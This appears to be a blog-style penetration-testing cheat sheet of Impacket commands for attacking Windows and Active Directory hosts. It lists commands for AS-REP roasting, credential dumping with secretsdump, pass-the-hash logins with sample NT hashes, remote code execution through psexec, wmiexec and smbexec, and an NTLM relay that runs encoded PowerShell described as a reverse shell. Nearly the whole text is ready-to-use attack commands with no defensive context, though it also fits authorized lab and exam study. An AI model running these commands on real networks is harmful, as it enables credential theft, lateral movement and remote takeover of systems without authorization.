See the Impacket site for a short description of all tools.
Tip: On Kali, use the command impacket-*
Enumeration without authentication
Determine the system architecture
getArch.py -target $target
Returns the listening RPC interface IDs.
ifmap.py $target 135
rpcdump.py $target
Enumeration with half authentication
Scenario: You have credentials for one AD user. Then, try to get all users for which Kerberos preauthentication is disabled. From Kali, use this command with the one valid credentials you have from peter:
impacket-GetNPUsers -dc-ip $ip -request dom.ain/peter
If you get hash: Hashcat and mode 18200.
Enumeration with authentication
Find (other) users
lookupsid.py dom/user:pass@$target
samrdump.py dom/user:pass@$target
Getting as much credentials as possible
secretsdump.py dom/user:pass@$target
Get AD users
GetADUsers.py -dc-ip $target dom/user:pass
Determine if a user exists
rdp_check.py dom/user:pass@$target
rdp_check.py -hashes b40c7060e1bf68227131564a1bf33d48:b40c7060e1bf68227131564a1bf33d48 svcorp.com/nicky@$target
List running processes (see help, more options are possible here)
services.py dom/user:pass@$target list
Code execution
atexec.py dom/user:pass@$target systeminfo
psexec.py dom/user:pass@$target systeminfo
impacket-psexec -hashes 00000000000000000000000000000000:7a38310ea6f0027ee955abed1762964b Administrator@$target
Shell like WinRM, but with different endpoints; could work even when WinRM is not activated.
dcomexec.py dom/user:pass@$target dir
smbexec.py dom/user:pass@$target
wmiexec.py dom/user:pass@$target
(See pth-winexe here as well!)
Tracking sessions. This script will remain open and show when sessions are created or closed.
netview.py dom/user:pass -target $target
Browsing through SMB share
smbclient.py dom/user:pass@$target
smbclient.py -hashes aad3b435b51404eeaad3b435b51404ee:6b0e72ee64ea42ca092bd1a7449fa46e Administrator@10.11.1.223
smbclient '\\$target\share' -U user%$HASH --pw-nt-hash
Reading and manipulating the registry
reg.py dom/user:pass@$target query -keyName HKLM\\Software\\
Relaying NTLMv2 authentication
If you control a user and want to use its credentials to authenticate against another system:
- Set up a ntlmrelayx with a code to execute on your own system:
impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.50.212 -c "powershell -enc JABjA…"
The-encpart is base64 encoded PowerShell code; e.g. a reverse shell code. - Start a listener (defined in the ‑enc part)
- Connect from the victim via smb, e.g.
- In the Windows explorer,
- via the command line
dir \\$ownSystem\nonexistingShareor - via PowerShell
Get-ChildItem \$ownSystem\nonexistingShare
See https://www.secureauth.com/blog/playing-relayed-credentials for ntlmrelayx.py.
Leave a Reply
You must be logged in to post a comment.